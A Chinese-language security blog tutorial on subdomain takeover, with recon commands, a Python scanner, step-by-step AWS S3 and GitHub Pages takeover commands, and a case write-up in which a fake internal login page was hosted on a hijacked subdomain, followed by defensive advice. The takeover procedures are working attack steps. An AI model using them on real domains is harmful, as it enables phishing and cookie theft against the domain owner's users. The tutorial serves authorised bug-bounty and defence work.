PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】子域名接管漏洞:从发现到利用完整方法论(含自动化检测脚本)

📅 2026年6月11日 📁 Hermes Agent ⏱ 4 分钟

适合人群:初级至中级渗透测试工程师、SRC漏洞挖掘者、安全运维人员

前置知识:DNS基础、HTTP协议基础、DNS解析流程

一、前置准备

工具安装


# 子域名收集
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install github.com/tomnomnom/assetfinder@latest
go install github.com/OWASP/Amass/v3/...@master

# DNS 解析与 CNAME 检查
go install github.com/tomnomnom/httprobe@latest
pip3 install dnsx

# 漏洞验证
pip3 install requests beautifulsoup4

在线平台

平台用途URL
SecurityTrailsDNS历史记录https://securitytrails.com
crt.sh证书透明度日志https://crt.sh
Web Archive历史DNS记录https://web.archive.org
GitHub Search搜索配置泄漏github.com/search?q=目标域名

二、核心原理

什么是子域名接管?

子域名接管(Subdomain Takeover)是指:目标域名的 CNAME/DNS记录指向一个外部服务(如 AWS S3、GitHub Pages、Heroku、CloudFront 等),但该外部资源已被释放或未创建,攻击者可以注册该资源并获得对子域名的控制权。


┌────────────────┐       DNS查询       ┌──────────────────┐
│  用户浏览器    │ ──────────────────→  │  target.com      │
│                │                      │  CNAME →         │
│                │                      │  xxx.cloudfront.net │
└────────────────┘                      └────────┬─────────┘
                                                  │
                                                  ▼
                                        ┌──────────────────┐
                                        │  CloudFront CDN  │
                                        │  ❌ 分发已删除   │
                                        │  任何人都可注册   │
                                        └──────────────────┘

漏洞成因

原因说明案例
DNS Zombie服务删除了但DNS记录没有清理S3 bucket删除、Heroku app下线
默认域名使用了第三方默认域名未绑定xxx.azurewebsites.net
过期服务订阅到期/域名释放但CNAME残留GitHub Pages域名解绑
错误配置CNAME指向不存在资源CloudFront分配被删

影响范围

影响严重程度说明
钓鱼攻击⚠️ 高托管恶意登录页面
Cookie窃取⚠️ 高同域名下可窃取 *.target.com 的Cookie
内容投毒⚠️ 中投放恶意脚本/广告
SEO伤害⚠️ 中恶意内容影响主站声誉

三、实操步骤

Step 1:子域名收集


# 以 target.com 为例
subfinder -d target.com -o subs.txt
assetfinder --subs-only target.com >> subs.txt
sort -u subs.txt -o subs_unique.txt

Step 2:CNAME 存活检测


# 筛选有 CNAME 记录的子域名
while read sub; do
  cname=$(dig +short CNAME "$sub" 2>/dev/null)
  if [ -n "$cname" ]; then
    echo "$sub → $cname"
  fi
done < subs_unique.txt

# 或者使用 dnsx
dnsx -l subs_unique.txt -cname -o dns_cname.txt

Step 3:HTTP 指纹识别


# 探测存活 HTTP 服务
cat dns_cname.txt | awk '{print $1}' | httprobe -c 50 > live_subs.txt

# 指纹识别(寻找 404/NXDOMAIN 等接管特征)
for url in $(cat live_subs.txt); do
  status=$(curl -s -o /dev/null -w "%{http_code}" "$url")
  body=$(curl -s "$url" | head -200)
  echo "=== $url ($status) ==="
  echo "$body" | grep -iE "no such bucket|404|does not exist|not found|there is no app"
done

Step 4:接管特征识别表

云服务响应特征注册方式
AWS S3NoSuchBucket / The specified bucket does not existAWS Console → 创建同名Bucket
AWS CloudFrontERROR: The request could not be satisfiedCloudFront → 创建同名分配
GitHub Pages404: There isn't a GitHub Pages site here创建同名repo
HerokuNo such app / There is no app configuredheroku create 同名子域名
Azure404 Not Found (Site not found)Azure Portal → Web App同名
ShopifySorry, this shop is currently unavailableShopify后台添加域名
CloudflareDomain does not resolve to this Cloudflare IPCloudflare → 添加域名
FeedburnerThe feed you requested does not exist注册同名Feed

Step 5:接管验证(以 AWS S3 为例)


# 确认目标 CNAME 指向 S3
dig +short sub.target.com
# → sub.target.com.s3.amazonaws.com

# 验证 Bucket 不存在
aws s3 ls s3://sub.target.com/
# → An error occurred (NoSuchBucket) when calling the ListObjectsV2 operation

# 创建接管
aws s3 mb s3://sub.target.com/
aws s3 website s3://sub.target.com/ --index-document index.html

cat > index.html << 'HTML'
<!DOCTYPE html>
<html>
<head><title>PoC - Subdomain Takeover</title></head>
<body>
<h1>🚩 子域名接管验证 PoC</h1>
<p>目标: sub.target.com</p>
<p>时间: $(date)</p>
</body>
</html>
HTML

aws s3 cp index.html s3://sub.target.com/

Step 6:自动化检测脚本


#!/usr/bin/env python3
"""
Subdomain Takeover Scanner v1.0
Usage: python3 takeover_scanner.py target.com
"""
import sys, json, dns.resolver, requests

VULN_SERVICES = {
    "s3.amazonaws.com": "AWS S3 Bucket Takeover",
    "cloudfront.net": "AWS CloudFront Takeover",
    "github.io": "GitHub Pages Takeover",
    "herokuapp.com": "Heroku Takeover",
    "azurewebsites.net": "Azure Web App Takeover",
    "myshopify.com": "Shopify Takeover",
    "trafficmanager.net": "Azure Traffic Manager",
}

def check_takeover(domain):
    try:
        answers = dns.resolver.resolve(domain, 'CNAME')
        for cname in answers:
            cname_str = str(cname.target).rstrip('.')
            for pattern, service in VULN_SERVICES.items():
                if pattern in cname_str:
                    try:
                        r = requests.get(f"http://{domain}", timeout=10, headers={"User-Agent": "Mozilla/5.0"})
                        if r.status_code == 404 or "NoSuchBucket" in r.text or "not found" in r.text.lower():
                            return {"domain": domain, "cname": cname_str, "service": service, "status": "VULNERABLE"}
                    except:
                        return {"domain": domain, "cname": cname_str, "service": service, "status": "POTENTIAL"}
    except:
        pass
    return None

if __name__ == "__main__":
    domain = sys.argv[1]
    with open("subs.txt") as f:
        for sub in f:
            sub = sub.strip()
            fqdn = f"{sub}.{domain}" if "." not in sub else sub
            result = check_takeover(fqdn)
            if result:
                print(json.dumps(result, indent=2))

四、绕过与对抗技术

4.1 CDN/Cloud WAF 绕过

当目标站点使用了 Cloudflare 等 CDN,CNAME 解析不直接暴露后端:


# 方法1:通过证书透明度日志找真实IP
# 访问 https://crt.sh/?q=%25.target.com&group=none
# 寻找直接指向云服务的CNAME

# 方法2:历史DNS记录
# SecurityTrails → DNS History → 查看历史CNAME变化

4.2 针对 AWS S3 的深度利用


# 利用 S3 Bucket Policy 设置
cat > policy.json << 'EOF'
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "PublicReadGetObject",
      "Effect": "Allow",
      "Principal": "*",
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::sub.target.com/*"
    }
  ]
}
EOF

aws s3api put-bucket-policy --bucket sub.target.com --policy file://policy.json

# 配置静态网站托管
aws s3 website s3://sub.target.com/ --index-document index.html --error-document error.html

# 验证
curl -sI "http://sub.target.com" | head -5

4.3 GitHub Pages 深度利用


# 创建同名的 GitHub Pages 站点
# 1. GitHub 创建仓库: sub-target-com
# 2. 设置 Pages: gh-pages 分支
# 3. 添加 CNAME 文件

cat > CNAME << 'EOF'
sub.target.com
EOF

git init
git add index.html CNAME
git commit -m "Subdomain takeover PoC"
git remote add origin https://github.com/attacker/sub-target-com.git
git push -u origin main

# 开启 GitHub Pages
# Settings → Pages → Source: Deploy from branch → main → / (root)
# Custom domain: sub.target.com

五、实战案例复盘

案例:某SRC平台子域名接管

场景:某知名互联网公司的一个子域名 devops.target.com 在一天内无法访问,但DNS记录仍指向一个已删除的AWS CloudFront分配。

发现过程

  1. 使用 subfinder 收集了约5000个子域名
  2. dnsx 过滤出含有 cloudfront.net CNAME的域名列表
  3. 逐个访问发现 devops.target.com 返回 CloudFront 404 错误
  4. 在 AWS Console 中创建同名 CloudFront 分配
  5. 指向一个受控的 S3 Bucket,配置自定义域名

利用

  • 部署了一个 HTML 页面,模拟公司内部系统登录页面
  • 由于同域名,用户可以正常访问且浏览器不会弹出安全警告
  • 提交 SRC 报告,5小时后厂商修复(删除DNS记录)

六、防御建议

防御措施优先级实施方法
DNS记录审计🔴 高定期扫描所有CNAME记录,清理僵尸记录
自动化检测🔴 高部署subjack/tko-subs定时扫描
域名持有🟡 中即使服务不用也保留DNS记录指向内部
通配符证书🟡 中仅对需要的子域名签发证书,降低影响
监控告警🟢 低对返回404/NXDOMAIN的子域名自动告警

自动化防御脚本


# 使用 subjack 定期扫描
subjack -w all_subs.txt -t 100 -timeout 10 -o takeover_results.txt -ssl

# 输出格式:sub.target.com [Vulnerable] - CNAME: target.cloudfront.net

# 设置 cron 任务
# 0 6 * * 1 /usr/local/bin/subjack -w /opt/subs.txt -t 100 -o /var/log/takeover_$(date +\%Y\%m\%d).txt

七、常见陷阱

#陷阱说明
1误判服务返回自定义404页面 ≠ 可接管,需确认注册界面
2CDN干扰Cloudflare等CDN会隐藏真实CNAME,需查历史DNS
3DNS缓存刚删除的服务CNAME可能还在缓存中,等待TTL过期
4权限不足AWS S3 Bucket可能已被其他AWS账户注册
5法律边界未经授权创建Bucket接管域名可能违法,需白帽授权

八、总结(含速查表)

全流程速查


# 一行全流程(5分钟快速扫描)
subfinder -d target.com -silent | assetfinder --subs-only | sort -u | \
  dnsx -cname -silent | grep -E "s3|cloudfront|heroku|github|azure" | \
  while read line; do
    sub=$(echo $line | awk '{print $1}')
    cname=$(echo $line | awk '{print $3}')
    code=$(curl -s -o /dev/null -w "%{http_code}" "http://$sub" 2>/dev/null)
    echo "[$code] $sub → $cname"
  done

关键工具速查

工具用途安装
subfinder子域名收集go install .../subfinder@latest
assetfinder子域名收集(被动)go install .../assetfinder@latest
dnsxDNS查询/验证go install .../dnsx@latest
httprobeHTTP服务探测go install .../httprobe@latest
subjack接管检测go install .../subjack@latest
tko-subs接管检测go install .../tko-subs@latest

接管模板(PoC)


<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>PoC - Subdomain Takeover</title>
  <style>
    body { font-family: monospace; text-align: center; padding: 50px; }
    .flag { background: #ff0000; color: white; padding: 20px; display: inline-block; }
  </style>
</head>
<body>
  <div class="flag">🚩 Subdomain Takeover PoC</div>
  <p>Target: [子域名]</p>
  <p>Service: [云服务名称]</p>
  <p>Detected: $(date)</p>
</body>
</html>
← 返回首页